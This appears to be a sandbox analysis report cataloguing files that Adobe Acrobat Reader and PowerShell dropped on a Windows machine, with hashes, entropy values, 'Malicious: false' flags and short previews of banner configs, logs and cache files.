SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfFldPeUkwRe9:YvXKXjad1zrT5LjIPmiGz8Ukee9
MD5:	73A4835259B015EEBEA2622B9C9C91BD
SHA1:	AB71B97FCEDF8F0E22B2C76E310771B182D41F04
SHA-256:	58B0D589A02FDF0FC6103AFE88D2059F3455837C44542DFE06C7E73AFF379BB2
SHA-512:	EC1284717930C19500A18E2EC0118D4573BA3AB2A1FD25B03150E4AFBDDD4292E94D13DE0B14F7BA826453271916B7D62869832ED173A0824201E4B6962ACF16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318929607847137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfzdPeUkwRe9:YvXKXjad1zrT5LjIPmiGb8Ukee9
MD5:	41AC12FF69A3A0A48F00D0510016FA88
SHA1:	B6ED547D8D2B11169B2E54C2E7CC76A92F77299F
SHA-256:	5F2F184B1378024B7D75D6F640C74FE7ED300A064A850E8E4845D38B2D2DB6C0
SHA-512:	D93C03A4C4804B5FBE077A9E60B0730E0E6EDC578DE02E3120E50ABE605FE77DF6F2B04345555BF94BD93F4EAC32CE24BA50E57BB1FE05234E8105A346EDEE5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300354382376782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfYdPeUkwRe9:YvXKXjad1zrT5LjIPmiGg8Ukee9
MD5:	128B9E05A399E2F80410C5CAC0345725
SHA1:	16A45C522A975EC9449B8DE5B9945DE6544CA2E8
SHA-256:	A85FAF2F056105589F07FED4F7303836DDEC83E6EF6675E435B51626224A81E7
SHA-512:	0BA6F421797621E42940AA38AE989A9EFD453A0257395D77B6A7FB6A698B6F485ABD11337E642F961B91FCF5435AB2F225A3F04D811C08927ED4E87320B90E26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286709985253649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJf+dPeUkwRe9:YvXKXjad1zrT5LjIPmiG28Ukee9
MD5:	DE658C6A3338EF797DDB1AE9BB71EEF9
SHA1:	ADFA576A06A78550A8D7A120E91571F030DEE8F5
SHA-256:	3D67C3BF09F517BEB6C4A3D243DB68334D90F6EAF92E677AF8E224B1685C8C32
SHA-512:	F6A745A81524638EE7DB71B6717C06B2005C7B7B346A9D4D703F41726F0ED5C3285AF9AB72BB2E3BB52364453DE29C2E52EFC1E6F41B14DD4CD2EB3E882D98F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283899044432937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfbPtdPeUkwRe9:YvXKXjad1zrT5LjIPmiGDV8Ukee9
MD5:	9F09DB464438CF5BFE3AB26D03B748BD
SHA1:	6D773DA830D711F82ED789EF9A0C36999CF0942B
SHA-256:	912569585A94BC1DD796FCEAE75704E307DAF583B6212534F7FE5230838A535E
SHA-512:	D8387115C4E066909AE892EABA4E3C210CC440B4ED80AD9C3AA2FB69C37171DFCA1E205A944C0409CE44B2FE910522F069F80C96F1EF9EAB0731BF9EE09777AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.276818225827569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJf21rPeUkwRe9:YvXKXjad1zrT5LjIPmiG+16Ukee9
MD5:	1DFBB9E57CB6D843428F254BE154FAF2
SHA1:	AD1B5E58EA7464C814EC9E99385926AA2582D733
SHA-256:	BDF411923B7FB31958F97BFFF53493753C7F690B8C7BC4B9B2F2080B6CC30631
SHA-512:	D98A33F8322290D0251D27668E01F1786AFC5AE4A3C7A7A11C7C0E3EAC70B57A28B1E489DEAE755037F736E4490E445B7BA91B6E8B4EC074FB53F9FF41D3F442
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661215140473459
Encrypted:	false
SSDEEP:	24:Yv6XjabrT5XIuHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:YvPXRfBgkDMUJUAh8cvM3
MD5:	8AA072A69407EA0134B886F13711800E
SHA1:	0C097E767F42F12755A4045780994A02C2B45C8E
SHA-256:	F53A8A31BB93F167FD85F4801B40F8A70016AE31182223B398F633E0F97F8542
SHA-512:	03345759EAC8569F4AE5C0D3E07DDE0F00F6479689C64C120F3ADCB55DFFD66FF4EC67020648396357FAD059A6466D14F8919BACD47EB58F89A82C88C19B047D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248871826838264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfshHHrPeUkwRe9:YvXKXjad1zrT5LjIPmiGUUUkee9
MD5:	0974C103BA70387DBF2943E16AF541DF
SHA1:	AF46E4BEB2D349ABDDC18DBC6B9EC5EEDD48117B
SHA-256:	49CFB75FAF5CB284A2F9DD3DBCB96BA48FAEF38CF211740F8AB55122695668C4
SHA-512:	497E6738898D846399333628C57AF699DA806CE2AF0E0218BAEBB90E279F04F13D91E889E515DE19CFBB7AE0C1E8837AB148647A3A0AB11EE5BCFAF31E2176F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2608732677910925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJTqgFCrPeUkwRe9:YvXKXjad1zrT5LjIPmiGTq16Ukee9
MD5:	6858C649A65366060F0528181304982E
SHA1:	D3499D1A38EA1A9FD8944DA6F3DC6EB39737602C
SHA-256:	CEB0916E406A159B0183E0E3A8360D255570BEC81A9DDFB8075E5A9659396E78
SHA-512:	D7E10679EC637B0EA75C8FB1979C7994205C1CCEA8112FD7C67EE348E51FBD93BD2D6C0AB2A2D030DE2CE1DDAEADB6661C137508092B0F4F4A73D03A74060968
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148799055738479
Encrypted:	false
SSDEEP:	24:YuCgaWY3aydoO4pqg1bPMBFCjItCGkZtjsiAAsj0SzVf+Ww2Y92LSzPCv16nXbsB:YGYYokkv9Usiv+099hmmXQem919
MD5:	5DE53E1D95027BD5CAF92CABCBE79FDA
SHA1:	F321A1C1B702C624146B073A12873FE3D154069C
SHA-256:	F590674729D8ADC896D6350009381EDA027D27986A130FCC0AEC7D5BC185CB66
SHA-512:	4F4705EBB2E57E6B7DD651C8806800A8C80B30F4FCA6BC4B7142FC38DCDCEEF49B5795D3EC815F29A35A048DB085E7AFC39131DAC3E43F46B979AB7FFE18B55D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4a9becd3a02b5664be06666258bb35c0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548332000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b1afcdc20d8476bf768edd2a2559f02e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736548332000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e69302b3bf00d095a6e6919be2ffa640","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736548332000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d936324e6ca68a4dadcc674b7c4981ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736548332000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6cb845762b3fa9a3becb51bff39415e1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736548332000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7eb8c9fc88377def5a42613bfde73257","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3680304673421333
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuLIKXKdqEKfS8EKfM1bajIKF:Tll2GL7msMcKTlS8fcsuyfI3
MD5:	D941031966FE77CEFA3A2D8AAB764250
SHA1:	E537D08D74A13573A32EFE52C81CF18AFF5173AA
SHA-256:	ECAC9A1ED78D0239560753C9A2B72B2681C7CDEEE3E0D08C511B935A4D066ED9
SHA-512:	A097FAFB7ECA5F304CC4D104BEEAD04C566B93AFA7DA8E2D9D38F59712ADB803E6FD8E8E98A4EE24B1C38562F1950B21E8855D85549D62C4CA3E8B329C6C5B0A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8446669736771653
Encrypted:	false
SSDEEP:	24:7+t+Z6bqyKn6ylSTofcNqDuLIK+KdqEKfS8EKfM1banbq3qLKufx/XYKQvGJF7uh:7M0cKTlS8fcsunfI+qGufl2GL7ms8
MD5:	0566945E48FE5815BE253D06B61DBE31
SHA1:	A7ECE6F15208BC9740F3554917646855556FDCD0
SHA-256:	755160CEC85C3A395935FED6601EC54D7506FCB77AC9FCEA505EC91C81A591BA
SHA-512:	3C10CBF35846FB93288137B75CCE5D6C91FBDC9EF79ABF0BB2F81AF8C7A3BCD382BDFEA445D689B144D779D4BF62F0138E36BD4257C43C2562CDD7584D1D5EA0
Malicious:	false
Preview:	.... .c.....'..]..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwPi3JGRAz/oTWW4cKjVDOhoYyu:6a6TZ44ADEMi3J+TPBKdmoK
MD5:	7B49B263AD573A7B69D87D58ED33B5C9
SHA1:	C6F1620EE20EDD8A033DD32F72FCF859A6DF41B7
SHA-256:	65DDAC239EE0D689F8AB6067D9A4377475B5DBAE1CA43726A8FFE829AB1B6F88
SHA-512:	58721D0C8AC069179D73522B31E6F445CEB281F33B25EB4FB32CD5EC8B61A20E6B8B457A75A47752C7D49FD414EE4AA6D21CC7C746D1AD47331F0732369F0CAC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf3f58.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClExNUlXH:Qw946cPbiOxDlbYnuRK+bDxGlXH
MD5:	668AACDFD66552C5DCCD8C24C01253CA
SHA1:	DFB4B4DD93A7AFA10E2009F703EF437F71E8E3AD
SHA-256:	D1E9125C73108BFE7A45E600C48FAB8B53ACB3BA7F42B918A5C3FD676940C401
SHA-512:	1329D13E5BCC11BB76D58F83273F2F3F6951B8DB5CE4753B63523D84FB0F705535DC96030BE0406A4ABFC793E97D31957723312874E534B35C43EB312EB63875
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.3.2.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a3mggqo1.2oz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pjjgrhp2.bec.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-32-06-712.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361017296635915
Encrypted:	false
SSDEEP:	384:d/7qTvHmzboIZzmEzuO0tLFhRKl+AtxSXEZ+YUITTEyIRWH1JrHtXwse7eXqwCkI:JI5
MD5:	CF590A83AEFDC77B7CF167F128168732
SHA1:	63E35F31287196BDA491712BC2D25F316A57A1AC
SHA-256:	92195026757C379F9892FAF84820890FB26415462F8E3C2B6AF86263B80F63E8
SHA-512:	DB3930703DBAF3CB7DC4A0E8682C28EB2C64D77DB26059579E99D3D6D0D664AA9338478CC1B1E4F3F1362CBEFA14E53B505C5228D7321FB9818603E1229FDD34
Malicious:	false
Preview:	SessionID=75ebb9f5-6c3a-425f-ba52-8d1f3130eac2.1736548326741 Timestamp=2025-01-10T17:32:06:741-0500 ThreadID=2876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=75ebb9f5-6c3a-425f-ba52-8d1f3130eac2.1736548326741 Timestamp=2025-01-10T17:32:06:750-0500 ThreadID=2876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=75ebb9f5-6c3a-425f-ba52-8d1f3130eac2.1736548326741 Timestamp=2025-01-10T17:32:06:750-0500 ThreadID=2876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=75ebb9f5-6c3a-425f-ba52-8d1f3130eac2.1736548326741 Timestamp=2025-01-10T17:32:06:750-0500 ThreadID=2876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=75ebb9f5-6c3a-425f-ba52-8d1f3130eac2.1736548326741 Timestamp=2025-01-10T17:32:06:750-0500 ThreadID=2876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.380753176469402
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmwacboIjNcbh:8qnXopZ50rcFjC
MD5:	63D597D26E5D150B18DB43956559CE04
SHA1:	15967BBC265F4846949A01688772F10ED0B191C5
SHA-256:	8D2C8D579EE879DE925481F17D4DD787CC9189C883D96A0FFA9094C1283B55AF
SHA-512:	8657CB866DECEB0706953B29E23FAB159D92D3526D646ABF733711BFD221C7031574EC3167C98AB6CDE2A588175309186E1EB2B48AC6FE072E844606ABF578F7
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\38d55976-190a-44dc-8743-1f93a8abd947.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
